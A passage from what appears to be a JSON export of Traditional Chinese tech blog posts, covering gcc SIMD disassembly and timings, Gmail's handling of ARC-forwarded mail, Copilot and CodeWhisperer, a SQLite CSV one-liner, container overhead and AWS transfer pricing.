最佳化改用 SIMD 處理掉了。\r\n\r\n在 Stack Overflow 的回答裡面，有人給了一段不錯的 code 示意，提到版本 A 其實先被展成像是這樣的程式碼：\r\n\r\n<pre>\r\nint i;\r\nfor (i = 0; i &lt; LEN; i += 4) {\r\n    data[i+0] = A*(i+0)*(i+0) + B*(i+0) + C;\r\n    data[i+1] = A*(i+1)*(i+1) + B*(i+1) + C;\r\n    data[i+2] = A*(i+2)*(i+2) + B*(i+2) + C;\r\n    data[i+3] = A*(i+3)*(i+3) + B*(i+3) + C;\r\n}\r\n</pre>\r\n\r\n然後被 SIMD 包起來處理掉了。\r\n\r\n我把作者的 code (他有貼在 <a href=\"https://gist.github.com/\">GitHub Gist</a> 上) 拿下來編，用不同的 <code>-O</code> 與 <code>-O3</code> 測試，然後去讀 assmebly 的部份也可以看到很多有趣的東西...\r\n\r\n首先是在 <code>-O3</code> 的情況下 (也就是作者使用的參數)，可以看到類似的結果：(我桌機的 CPU 是定速，沒有跑動態調整)\r\n\r\n<pre>\r\n$ repeat 10 ./a\r\n[-] Took: 248830 ns.\r\n[-] Took: 249150 ns.\r\n[-] Took: 248760 ns.\r\n[-] Took: 248730 ns.\r\n[-] Took: 248770 ns.\r\n[-] Took: 248861 ns.\r\n[-] Took: 248760 ns.\r\n[-] Took: 253050 ns.\r\n[-] Took: 248640 ns.\r\n[-] Took: 249211 ns.\r\n$ repeat 10 ./b\r\n[-] Took: 686660 ns.\r\n[-] Took: 696090 ns.\r\n[-] Took: 696310 ns.\r\n[-] Took: 694431 ns.\r\n[-] Took: 691971 ns.\r\n[-] Took: 697690 ns.\r\n[-] Took: 693241 ns.\r\n[-] Took: 692900 ns.\r\n[-] Took: 654751 ns.\r\n[-] Took: 679101 ns.\r\n</pre>\r\n\r\n從版本 A 的 <code>objdump -d -S -M intel a</code> 可以看到作者 screenshot 內也有看的 unroll 與 SSE2 指令集：\r\n\r\n<pre>\r\n13a0:       66 0f 6f c2             movdqa xmm0,xmm2\r\n13a4:       48 83 c0 20             add    rax,0x20\r\n13a8:       66 0f fe d6             paddd  xmm2,xmm6\r\n13ac:       f3 0f e6 f8             cvtdq2pd xmm7,xmm0\r\n13b0:       66 0f 28 cf             movapd xmm1,xmm7\r\n13b4:       66 0f 70 c0 ee          pshufd xmm0,xmm0,0xee\r\n13b9:       66 0f 59 cd             mulpd  xmm1,xmm5\r\n13bd:       f3 0f e6 c0             cvtdq2pd xmm0,xmm0\r\n13c1:       66 0f 59 cf             mulpd  xmm1,xmm7\r\n13c5:       66 0f 59 fc             mulpd  xmm7,xmm4\r\n13c9:       66 0f 58 cf             addpd  xmm1,xmm7\r\n13cd:       66 0f 58 cb             addpd  xmm1,xmm3\r\n13d1:       0f 29 48 e0             movaps XMMWORD PTR [rax-0x20],xmm1\r\n13d5:       66 0f 28 c8             movapd xmm1,xmm0\r\n13d9:       66 0f 59 cd             mulpd  xmm1,xmm5\r\n13dd:       66 0f 59 c8             mulpd  xmm1,xmm0\r\n13e1:       66 0f 59 c4             mulpd  xmm0,xmm4\r\n13e5:       66 0f 58 c1             addpd  xmm0,xmm1\r\n13e9:       66 0f 58 c3             addpd  xmm0,xmm3\r\n13ed:       0f 29 40 f0             movaps XMMWORD PTR [rax-0x10],xmm0\r\n13f1:       48 39 c2                cmp    rdx,rax\r\n13f4:       75 aa                   jne    13a0 &lt;compute+0x40&gt;\r\n</pre>\r\n\r\n而版本 B 的 <code>objdump -d -S -M intel b</code> 也符合作者提到的現象：\r\n\r\n<pre>\r\n1340:       f2 0f 11 08             movsd  QWORD PTR [rax],xmm1\r\n1344:       48 83 c0 08             add    rax,0x8\r\n1348:       f2 0f 58 c8             addsd  xmm1,xmm0\r\n134c:       f2 0f 58 c2             addsd  xmm0,xmm2\r\n1350:       48 39 d0                cmp    rax,rdx\r\n1353:       75 eb                   jne    1340 &lt;compute+0x30&gt;\r\n</pre>\r\n\r\n但把 gcc 改成 <code>-O</code> 後，可以看到版本 A 的速度慢很多，但還是稍微比版本 B 快一些：\r\n\r\n<pre>\r\n$ repeat 10 ./a\r\n[-] Took: 571140 ns.\r\n[-] Took: 570280 ns.\r\n[-] Took: 571271 ns.\r\n[-] Took: 573971 ns.\r\n[-] Took: 571981 ns.\r\n[-] Took: 569650 ns.\r\n[-] Took: 566361 ns.\r\n[-] Took: 571600 ns.\r\n[-] Took: 571330 ns.\r\n[-] Took: 571030 ns.\r\n$ repeat 10 ./b\r\n[-] Took: 697521 ns.\r\n[-] Took: 696961 ns.\r\n[-] Took: 696201 ns.\r\n[-] Took: 694921 ns.\r\n[-] Took: 696930 ns.\r\n[-] Took: 695001 ns.\r\n[-] Took: 701661 ns.\r\n[-] Took: 698100 ns.\r\n[-] Took: 702430 ns.\r\n[-] Took: 702641 ns.\r\n</pre>\r\n\r\n從 objdump 可以看到版本 A 的變化，退化成一次只處理一個，但把所有的數字都用 <code>xmmN</code> 存放計算：\r\n\r\n<pre>\r\n11b1:       66 0f ef c9             pxor   xmm1,xmm1\r\n11b5:       f2 0f 2a c8             cvtsi2sd xmm1,eax\r\n11b9:       66 0f 28 c1             movapd xmm0,xmm1\r\n11bd:       f2 0f 59 c4             mulsd  xmm0,xmm4\r\n11c1:       f2 0f 59 c1             mulsd  xmm0,xmm1\r\n11c5:       f2 0f 59 cb             mulsd  xmm1,xmm3\r\n11c9:       f2 0f 58 c1             addsd  xmm0,xmm1\r\n11cd:       f2 0f 58 c2             addsd  xmm0,xmm2\r\n11d1:       f2 0f 11 04 c2          movsd  QWORD PTR [rdx+rax*8],xmm0\r\n11d6:       48 83 c0 01             add    rax,0x1\r\n11da:       48 3d 40 42 0f 00       cmp    rax,0xf4240\r\n11e0:       75 cf                   jne    11b1 &lt;compute+0x28&gt;\r\n</pre>\r\n\r\n而版本 B 在 <code>-O</code> 的情況下基本上是一樣的東西 (所以速度上差不多)：\r\n\r\n<pre>\r\n11b3:       f2 0f 11 08             movsd  QWORD PTR [rax],xmm1\r\n11b7:       f2 0f 58 c8             addsd  xmm1,xmm0\r\n11bb:       f2 0f 58 c2             addsd  xmm0,xmm2\r\n11bf:       48 83 c0 08             add    rax,0x8\r\n11c3:       48 39 d0                cmp    rax,rdx\r\n11c6:       75 eb                   jne    11b3 &lt;compute+0x2a&gt;\r\n</pre>\r\n\r\n再來是拔掉 <code>-O</code>，都不加就會超慢：\r\n\r\n<pre>\r\n$ repeat 10 ./a\r\n[-] Took: 1097091 ns.\r\n[-] Took: 1092941 ns.\r\n[-] Took: 1092501 ns.\r\n[-] Took: 1091991 ns.\r\n[-] Took: 1092441 ns.\r\n[-] Took: 1093970 ns.\r\n[-] Took: 1091341 ns.\r\n[-] Took: 1093931 ns.\r\n[-] Took: 1094111 ns.\r\n[-] Took: 1092231 ns.\r\n$ repeat 10 ./b\r\n[-] Took: 2703282 ns.\r\n[-] Took: 2705933 ns.\r\n[-] Took: 2703582 ns.\r\n[-] Took: 2702622 ns.\r\n[-] Took: 2703043 ns.\r\n[-] Took: 2702262 ns.\r\n[-] Took: 2703352 ns.\r\n[-] Took: 2703532 ns.\r\n[-] Took: 2703112 ns.\r\n[-] Took: 2702533 ns.\r\n</pre>\r\n\r\n看 objdump 就可以發現幾乎都是對記憶體操作，沒有放到 register 裡面，這是版本 A：\r\n\r\n<pre>\r\n11c1:       f2 0f 2a 45 e4          cvtsi2sd xmm0,DWORD PTR [rbp-0x1c]\r\n11c6:       66 0f 28 c8             movapd xmm1,xmm0\r\n11ca:       f2 0f 59 4d e8          mulsd  xmm1,QWORD PTR [rbp-0x18]\r\n11cf:       f2 0f 2a 45 e4          cvtsi2sd xmm0,DWORD PTR [rbp-0x1c]\r\n11d4:       f2 0f 59 c8             mulsd  xmm1,xmm0\r\n11d8:       f2 0f 2a 45 e4          cvtsi2sd xmm0,DWORD PTR [rbp-0x1c]\r\n11dd:       f2 0f 59 45 f0          mulsd  xmm0,QWORD PTR [rbp-0x10]\r\n11e2:       f2 0f 58 c1             addsd  xmm0,xmm1\r\n11e6:       f2 0f 58 45 f8          addsd  xmm0,QWORD PTR [rbp-0x8]\r\n11eb:       8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]\r\n11ee:       48 98                   cdqe   \r\n11f0:       48 8d 14 c5 00 00 00    lea    rdx,[rax*8+0x0]\r\n11f7:       00 \r\n11f8:       48 8d 05 41 2e 00 00    lea    rax,[rip+0x2e41]\r\n11ff:       f2 0f 11 04 02          movsd  QWORD PTR [rdx+rax*1],xmm0\r\n1204:       83 45 e4 01             add    DWORD PTR [rbp-0x1c],0x1\r\n1208:       81 7d e4 3f 42 0f 00    cmp    DWORD PTR [rbp-0x1c],0xf423f\r\n120f:       7e b0                   jle    11c1 &lt;compute+0x38&gt;\r\n</pre>\r\n\r\n這是版本 B：\r\n\r\n<pre>\r\n11e8:       8b 45 cc                mov    eax,DWORD PTR [rbp-0x34]\r\n11eb:       48 98                   cdqe   \r\n11ed:       48 8d 14 c5 00 00 00    lea    rdx,[rax*8+0x0]\r\n11f4:       00 \r\n11f5:       48 8d 05 44 2e 00 00    lea    rax,[rip+0x2e44]\r\n11fc:       f2 0f 10 45 d8          movsd  xmm0,QWORD PTR [rbp-0x28]\r\n1201:       f2 0f 11 04 02          movsd  QWORD PTR [rdx+rax*1],xmm0\r\n1206:       f2 0f 10 45 d8          movsd  xmm0,QWORD PTR [rbp-0x28]\r\n120b:       f2 0f 58 45 d0          addsd  xmm0,QWORD PTR [rbp-0x30]\r\n1210:       f2 0f 11 45 d8          movsd  QWORD PTR [rbp-0x28],xmm0\r\n1215:       f2 0f 10 45 d0          movsd  xmm0,QWORD PTR [rbp-0x30]\r\n121a:       f2 0f 58 45 f8          addsd  xmm0,QWORD PTR [rbp-0x8]\r\n121f:       f2 0f 11 45 d0          movsd  QWORD PTR [rbp-0x30],xmm0\r\n1224:       83 45 cc 01             add    DWORD PTR [rbp-0x34],0x1\r\n1228:       81 7d cc 3f 42 0f 00    cmp    DWORD PTR [rbp-0x34],0xf423f\r\n122f:       7e b7                   jle    11e8 &lt;compute+0x5f&gt;\r\n</pre>\r\n\r\n寫到這邊差不多了，作者拿的這個範例算是很有趣的例子，尤其是現代 compiler 幫我們做了超多事情後，很多自己以為的 optimization 其實未必比較好，還是要有個 profiling review 才準...",
    "title": "從簡單的 C 語言函式來看現代 Compiler 使用 SIMD 的威力"
  },
  {
    "id": "10745",
    "body": "標題的 ARC 是指 <a href=\"https://en.wikipedia.org/wiki/Authenticated_Received_Chain\">Authenticated Received Chain</a>，是前陣子在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=31577087\">Gmail accepts forged YouTube emails (john-millikin.com)</a>」這篇才發現的東西，原文在「<a href=\"https://john-millikin.com/gmail-accepts-forged-youtube-emails\">Gmail accepts forged YouTube emails</a>」這邊。\r\n\r\n作者發現 <a href=\"https://en.wikipedia.org/wiki/Gmail\">Gmail</a> 收了從不是直接從 <a href=\"https://www.youtube.com/\">YouTube</a> 發出來的信件：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WUKB1zBh.webp\" /><img src=\"https://i.gslin.com/imgur/WUKB1zBh.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y0nPuZ4h.webp\" /><img src=\"https://i.gslin.com/imgur/Y0nPuZ4h.png\" alt=\"\" /></picture>\r\n\r\n主要的原因是，Gmail 除了使用標準的 <a href=\"https://en.wikipedia.org/wiki/Sender_Policy_Framework\">SPF</a> 與 <a href=\"https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail\">DKIM</a> 判斷外，還吃上面提到的 ARC。\r\n\r\n查了一下 ARC，標準是 <a href=\"https://datatracker.ietf.org/doc/html/rfc8617\">RFC 8617</a>，目前還是被標成 experimental，主打是解決 forwarding 的問題，看了一下作者群是 <a href=\"https://www.linkedin.com/\">LinkedIn</a> (<a href=\"https://www.microsoft.com/\">Microsoft</a>)、<a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.valimail.com/\">Valimail</a>。\r\n\r\nARC 這東西與之前 Google 在強推的 <a href=\"https://en.wikipedia.org/wiki/Accelerated_Mobile_Pages\">AMP</a> (然後被罰) 以及現在在推的 Signed HTTP Exchanges 都有相同的味道，無視 security &amp; privacy concern 的東西...",
    "title": "ARC (Authenticated Received Chain)"
  },
  {
    "id": "10746",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=31796311\">Redis vs. KeyDB vs. Dragonfly vs. Skytable</a>」這篇，裡面介紹了四套 key-value store 軟體：\r\n\r\n<ul>\r\n\t<li><a href=\"https://redis.io/\">Redis</a>：這個應該不太需要介紹...</li>\r\n\t<li><a href=\"https://keydb.dev/\">KeyDB</a>：<a href=\"https://www.snapchat.com/\">Snapchat</a> 搞出來的 Redis clone，主要的賣點是 multi-threading。</li>\r\n\t<li><a href=\"https://dragonflydb.io/\">Dragonfly</a>：宣稱地球上最快，但作者跑不出來，下面的討論有人提到 Dragonfly 在更多的 CPU 資源效能就會更好。</li>\r\n\t<li><a href=\"https://skytable.io/\">Skytable</a>：作者測出來最快的。</li>\r\n</ul>\r\n\r\n裡面看起來都蠻有趣的，可以追起來看看發展的情況，但如果真的要的用的話，應該還是先以 Redis 為主，穩定度以及功能還是重點...",
    "title": "在 Hacker News 上看到幾個 Key-Value Store 軟體"
  },
  {
    "id": "10747",
    "body": "<a href=\"https://telegram.org/\">Telegram</a> 宣佈推出 Premium 了：「<a href=\"https://telegram.org/blog/700-million-and-premium\">700 Million Users and Telegram Premium</a>」。看了一下有點長度，就直接放 <a href=\"https://www.ithome.com.tw/\">iThome</a> 的報導：「<a href=\"https://www.ithome.com.tw/news/151522\">Telegram正式推出付費訂閱服務Telegram Premium</a>」。\r\n\r\n更新 Telegram 後就會在 Settings 裡面看到 Premium 的設定可以選，然後看起來走 IAP，我自己是在台灣的 <a href=\"https://www.apple.com/ios/\">iOS</a> 上面買，NT$160/mo，裡面提到的功能基本上都用不到 (大概只有 no ads)，但還是買起來...",
    "title": "Telegram 推出 Premium 方案"
  },
  {
    "id": "10748",
    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上的<a href=\"https://www.facebook.com/groups/perl.tw/posts/5429796933708344/\">這邊</a>看到的消息，《<a href=\"https://www.tenlong.com.tw/products/9786263242081\">Perl 學習手冊, 8/e</a>》出版了，算是難得看到 <a href=\"https://www.perl.org/\">Perl</a> 的繁體中文書出版。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Qq7S48y.webp\" /><img src=\"https://i.gslin.com/imgur/Qq7S48y.png\" alt=\"\" /></picture>\r\n\r\n不過翻了一下好像沒有電子版本？那就只能幫忙宣傳一下了...",
    "title": "《Perl 學習手冊, 8/e》出版"
  },
  {
    "id": "10750",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://botblox.io/products/speblox-long\">SPEBlox-Long (10BASE-T1L) - 10Mbps, 1km range</a>」這個產品，看到 10BASE-T1L 這個標準還有蠻有趣的，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=31834532\">10mbps over 1km on a single pair of wires (botblox.io)</a>」這邊。\r\n\r\n在維基百科的「<a href=\"https://en.wikipedia.org/wiki/Ethernet_over_twisted_pair\">Ethernet over twisted pair</a>」這個頁面上面有提到 10BASE-T1S 與 10BASE-T1L 這兩個在 2019 推出的新標準：\r\n\r\n<blockquote>Two new variants of 10 megabit per second Ethernet over a single twisted pair, known as 10BASE-T1S and 10BASE-T1L, were standardized in IEEE Std 802.3cg-2019. 10BASE-T1S has its origins in the automotive industry and may be useful in other short-distance applications where substantial electrical noise is present. 10BASE-T1L is a long-distance Ethernet, supporting connections up to 1 km in length. Both of these standards are finding applications implementing the Internet of things.</blockquote>\r\n\r\n從標準的名字就可以知道是 10Mbps 的速度，但只用一對線路就可以跑 1km 還蠻有趣的，主打在 <a href=\"https://en.wikipedia.org/wiki/Internet_of_things\">IoT</a> 場景...",
    "title": "可以在 Cat5 上面跑 1km 的 Ethernet 標準 10BASE-T1L"
  },
  {
    "id": "10751",
    "body": "<a href=\"https://github.com/features/copilot/\">GitHub Copilot</a> 宣佈 GA：「<a href=\"https://github.blog/2022-06-21-github-copilot-is-generally-available-to-all-developers/\">GitHub Copilot is generally available to all developers</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論可以看一下：「<a href=\"https://news.ycombinator.com/item?id=31825742\">GitHub Copilot is generally available (github.blog)</a>」。\r\n\r\n價錢也出來了，US$10/mo 或是 US$100/year：\r\n\r\n<blockquote>We’re making GitHub Copilot, an AI pair programmer that suggests code in your editor, generally available to all developers for $10 USD/month or $100 USD/year. It will also be free to use for verified students and maintainers of popular open source projects.</blockquote>\r\n\r\n不過重點不是價錢，而是還沒有被挑戰過的 license 問題，像是在 Hacker News 上有人提到有些程式碼的授權是有感染性的 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 類的，這些在法院上還沒有被戰過。\r\n\r\n不過還是很看好這個服務，畢竟可以處理掉很多無聊的 coding 時間... 查了一下發現 <a href=\"https://neovim.io/\">Neovim</a> 已經有支援了，似乎可以來看看要怎麼玩 :o",
    "title": "GitHub Copilot 宣佈 GA"
  },
  {
    "id": "10753",
    "body": "從 <a href=\"https://til.simonwillison.net/\">Simon Willison</a> 這邊看到 command line 下用 <a href=\"https://sqlite.org/\">SQLite</a> 的技巧：「<a href=\"https://til.simonwillison.net/sqlite/one-line-csv-operations\">One-liner for running queries against CSV files with SQLite</a>」。\r\n\r\n範例指令是這樣 (整理了一下排版)：\r\n\r\n<pre>\r\nsqlite3 :memory: \\\r\n    -cmd '.import -csv taxi.csv taxi' \\\r\n    'SELECT passenger_count, COUNT(*), AVG(total_amount) FROM taxi GROUP BY passenger_count'\r\n</pre>\r\n\r\n可以看出來這個方式是將 csv 檔先讀到 in-memory database (<code>:memory:</code>)，再用 SQLite 下指令處理，另外也可以自己變化，應該可以透過 <code>/dev/stdin</code> 這樣的方式讀 pipe 的東西。\r\n\r\n拿來簡單跑一些東西應該還不賴？",
    "title": "在 Shell 下一行用 SQLite 查詢 CSV 內的資料"
  },
  {
    "id": "10754",
    "body": "看到「<a href=\"https://seirdy.one/posts/2021/03/10/search-engines-with-own-indexes/\">A look at search engines with their own indexes</a>」這篇在介紹各個搜尋引擎，作者設計了一套方法測試，另外在文章裡面也給了很多主觀的意見，算是很有參考價值的，可以試看看裡面提出來的建議。\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論可以參考：「<a href=\"https://news.ycombinator.com/item?id=31820149\">A look at search engines with their own indexes (2021) (seirdy.one)</a>」。\r\n\r\n在文章開頭的「General indexing search-engines」這個章節，先列出三大搜尋引擎 GBY (<a href=\"https://www.google.com/\">Google</a>、<a href=\"https://www.bing.com/\">Bing</a>、<a href=\"https://yandex.com/\">Yandex</a>)，以及使用這三家當作後端資料庫的搜尋引擎，可以看到到處都是 Bing 的影子。\r\n\r\n接著作者推薦 <a href=\"https://www.mojeek.com/\">Mojeek</a> 這個作為 GBY 的替代方案：\r\n\r\n<blockquote>Mojeek: Seems privacy-oriented with a large index containing billions of pages. Quality isn’t at GBY’s level, but it’s not bad either. If I had to use Mojeek as my default general search engine, I’d live. Partially powers eTools.ch. At this moment, I think that Mojeek is the best alternative to GBY for general search.</blockquote>\r\n\r\n在「Smaller indexes or less relevant results」這邊也有一些方案，像是這個章節第一個提到的 <a href=\"https://rightdao.com/\">Right Dao</a>，作者就給他了不錯的評價：\r\n\r\n<blockquote>Right Dao: very fast, good results. Passes the tests fairly well. It plans on including query-based ads if/when its user base grows.</blockquote>\r\n\r\n接下來的「Smaller indexes, hit-and-miss」與「Unusable engines, irrelevant results」也可以翻一下，看看作者怎麼批評 XD\r\n\r\n然後是後面的「Semi-independent indexes」就出現了最近幾個比較有名的，像是 <a href=\"https://search.brave.com/\">Brave Search</a> 與目前我在用的 <a href=\"https://kagi.com/\">Kagi</a>。\r\n\r\n整理的相當不錯...",
    "title": "搜尋引擎的替代方案清單"
  },
  {
    "id": "10755",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/codewhisperer/\">Amazon CodeWhisperer</a>，可以看做是 <a href=\"https://github.com/features/copilot/\">GitHub Copilot</a> 的競爭產品：「<a href=\"https://aws.amazon.com/blogs/aws/now-in-preview-amazon-codewhisperer-ml-powered-coding-companion/\">Now in Preview – Amazon CodeWhisperer- ML-Powered Coding Companion</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論還不多：「<a href=\"https://news.ycombinator.com/item?id=31851373\">Copilot just got company: Amazon announced Codewhisperer (amazon.com)</a>」。\r\n\r\n目前還是 Preview 所以是免費的，但也還沒有提供價錢：\r\n\r\n<blockquote>During the preview period, developers can use CodeWhisperer for free.</blockquote>\r\n\r\n另外目前提供的程式語言只有 <a href=\"https://www.python.org/\">Python</a>、<a href=\"https://en.wikipedia.org/wiki/Java_(programming_language)\">Java</a> 與 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a>：\r\n\r\n<blockquote>The preview supports code written in Python, Java, and JavaScript, using VS Code, IntelliJ IDEA, PyCharm, WebStorm, and AWS Cloud9. Support for the AWS Lambda Console is in the works and should be ready very soon.</blockquote>\r\n\r\n至於 training 的資料集，這邊有提到的是 open source 專案與 <a href=\"https://www.amazon.com/\">Amazon</a> 自家的東西：\r\n\r\n<blockquote>CodeWhisperer code generation is powered by ML models trained on various data sources, including Amazon and open-source code.</blockquote>\r\n\r\n開發應該需要一段時間，不知道是剛好，還是被 GitHub Copilot 轉 GA 的事件強迫推出 Preview 版...",
    "title": "AWS 也推出了 GitHub Copilot 的競爭對手 Amazon CodeWhisperer"
  },
  {
    "id": "10756",
    "body": "如同之前在「<a href=\"https://blog.gslin.org/archives/2022/06/23/10751/github-copilot-%e5%ae%a3%e4%bd%88-ga/\">GitHub Copilot 宣佈 GA</a>」提到的，<a href=\"https://github.com/features/copilot/\">Copilot</a> 有支援 <a href=\"https://neovim.io/\">Neovim</a>，找了一下在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/github/copilot.vim\">github/copilot.vim</a> 這邊可以取得。\r\n\r\n<blockquote>Copilot.vim is a Vim plugin for GitHub Copilot. For now, it requires Neovim 0.6 (for virtual lines support) and a Node.js installation.</blockquote>\r\n\r\n主要有兩個 dependency 問題，第一個是 Neovim 版本要 0.6+，而在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 內的版本不夠新 (22.04 的看起來就夠)，可以裝 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a> 版本解決：「<a href=\"https://launchpad.net/~neovim-ppa/+archive/ubuntu/stable\">Neovim Stable</a>」。\r\n\r\n另外一個是 <a href=\"https://nodejs.org/\">Node.js</a> 版本需要到 16+ (20.04 與 22.04 內建的都不夠)，這個我是靠 <a href=\"https://github.com/nvm-sh/nvm\">nvm</a> 解決。\r\n\r\n先在 GitHub 網站上開通 Copilot，再照著說明，回到 Neovim 裡執行 <code>:Copilot setup</code>，跟著步驟跑授權流程就可以了。\r\n\r\n接下來隨便開個 <code>test.py</code> 或是 <code>test.php</code> 檔開始寫，就會發現有 suggestion 跑出來了。\r\n\r\n這邊拿 <a href=\"https://github.com/hasname/feedgen\">feedgen</a> 測試會不會動，輸入 <code>feed.</code> 後就會出現灰色的 <code>subtitle(title)</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xwC0myv.webp\" /><img src=\"https://i.gslin.com/imgur/xwC0myv.png\" alt=\"\" /></picture>\r\n\r\n這時候按 tab 就會展出來了。",
    "title": "測試 Neovim + GitHub Copilot"
  },
  {
    "id": "10757",
    "body": "想要查一下 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 下跑 container 的 overhead，發現大多都是 2014～2016 左右的文章，而且基本上都是 <a href=\"https://www.docker.com/\">Docker</a>，好像沒什麼新資料，但還是整理整理...\r\n\r\n首先是「<a href=\"https://stackoverflow.com/questions/21889053/what-is-the-runtime-performance-cost-of-a-docker-container\">What is the runtime performance cost of a Docker container?</a>」這篇，裡面的答案有提到 CPU、Memory 以及 I/O 看起來 overhead 都不高，主要是網路的 latency 增加不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MKF4Ph8.webp\" /><img src=\"https://i.gslin.com/imgur/MKF4Ph8.jpg\" alt=\"\" /></picture>\r\n\r\n看起來大約是 40µs 的增加 (0.04ms)，這個量級雖然看起來很小，但對於本來就是透過 <a href=\"https://en.wikipedia.org/wiki/Ethernet\">Ethernet</a> 溝通的的應用來說，平常可能都是 &lt;1ms 了，0.04ms 的增加可能還是有影響 (像是 TCP 的 3-way handshake)。\r\n\r\n另外一篇是 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2016/02/05/measuring-docker-cpu-network-overhead/\">Measuring Percona Server Docker CPU/network overhead</a>」，不過這邊是測 CPU bound 的方式，沒有碰到 heavy I/O：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/O4kskgE.webp\" /><img src=\"https://i.gslin.com/imgur/O4kskgE.png\" alt=\"\" /></picture>\r\n\r\n可以看到網路層的變化造成 tps 的變化，也符合在 <a href=\"https://stackoverflow.com/\">Stack Overflow</a> 上面找到的文章。\r\n\r\n而 <a href=\"https://www.oracle.com/\">Oracle</a> 官方的「<a href=\"https://dev.mysql.com/blog-archive/mysql-with-docker-performance-characteristics/\">MySQL with Docker - Performance characteristics</a>」這篇則是測到 I/O bound 的應用，畢竟資料庫軟體會用到很多一般 I/O 測試不會用到的 flag，像是 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a> 大家通常都會啟用 <code>O_DIRECT</code>：\r\n\r\n<blockquote>For these tests, we used a custom configuration file. We first deliberately set the buffer pool size to around 10% of the total database size in order to increase I/O-bound load. The database size was 2358MB, so we set our buffer pool size to 256MB. We then increased the buffer size to 16384MB to see what happens when Docker isn’t bound by I/O load.</blockquote>\r\n\r\n文章後面有列出數字，可以看到 I/O bound 的應用似乎沒有什麼影響，而 network bound 的時候可以看到效能的下降。\r\n\r\n不過得注意這些資料都是六年前的資料了，沒有什麼新資料可以看做應該是沒什麼改變，但畢竟不是 100% 確定的事情...",
    "title": "翻一下 Linux container 的各種 overhead"
  },
  {
    "id": "10758",
    "body": "剛好在處理 <a href=\"https://aws.amazon.com/\">AWS</a> 同一個 region 下不同 AZ 之間的傳輸費用，跟帳單互相比對，查了以後才發現跟想像中不一樣，這邊以 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 為例子，可以參考「<a href=\"https://aws.amazon.com/ec2/pricing/on-demand/\">Amazon EC2 On-Demand Pricing</a>」這頁裡面的說明。\r\n\r\n從 Internet 端進 AWS 的流量是不計費的：\r\n\r\n<blockquote>Data Transfer IN To Amazon EC2 From Internet\r\nAll data transfer in $0.00 per GB</blockquote>\r\n\r\n但從 AZ 進到另外一個 AZ 時，in 與 out 都要收費：\r\n\r\n<blockquote>Data transferred \"in\" to and \"out\" from Amazon EC2, Amazon RDS, Amazon Redshift, Amazon DynamoDB Accelerator (DAX), and Amazon ElastiCache instances, Elastic Network Interfaces or VPC Peering connections across Availability Zones in the same AWS Region is charged at $0.01/GB in each direction.</blockquote>\r\n\r\n所以直接用 US$0.01/GB 的計算是不夠的，得用 US$0.02/GB 來計算。\r\n\r\n同樣的，如果是 Public IP 與 Elastic IP 也都是雙向收費，跨 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 也是雙向收費，所以都要用 US$0.02/GB 來算：\r\n\r\n<blockquote>IPv4: Data transferred “in” to and “out” from public or Elastic IPv4 address is charged at $0.01/GB in each direction.\r\nIPv6: Data transferred “in” to and “out” from an IPv6 address in a different VPC is charged at $0.01/GB in each direction.</blockquote>",
    "title": "AWS 在同一區不同 AZ 頻寬費用的特別地方"
  },
  {
    "id": "10761",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=31858829\">Mattermost – open-source platform for secure collaboration (github.com/mattermost)</a>」這篇，結果最高分的 thread 上面大家都在討論 <a href=\"https://mattermost.com/\">Mattermost</a> 的缺點，然後大家提到 <a href=\"https://zulip.com/\">Zulip</a> 是個不錯的方案...\r\n\r\n先前用過兩次 Mattermost，一次是獨立自己架起來的版本，另外一次是 bundle 在 <a href=\"https://gitlab.com/gitlab-org/gitlab\">GitLab</a> 裡面的。後面這次用的時候有種濃濃的 copycat 的感覺 (在同公司的 <a href=\"https://www.focalboard.com/\">Focalboard</a> 也是類似的感覺)，後來砍掉就沒繼續再看了。\r\n\r\n從 Hacker News 上討論可以看到只有一部份 open source：\r\n\r\n<blockquote>And not only that, Zulip is 100% FOSS, wherea Mattermost is Open Core, so the Open Source portion is missing key features.</blockquote>\r\n\r\n來找機會架 Zulip 起來玩看看...",
    "title": "找機會研究 Zulip..."
  },
  {
    "id": "10763",
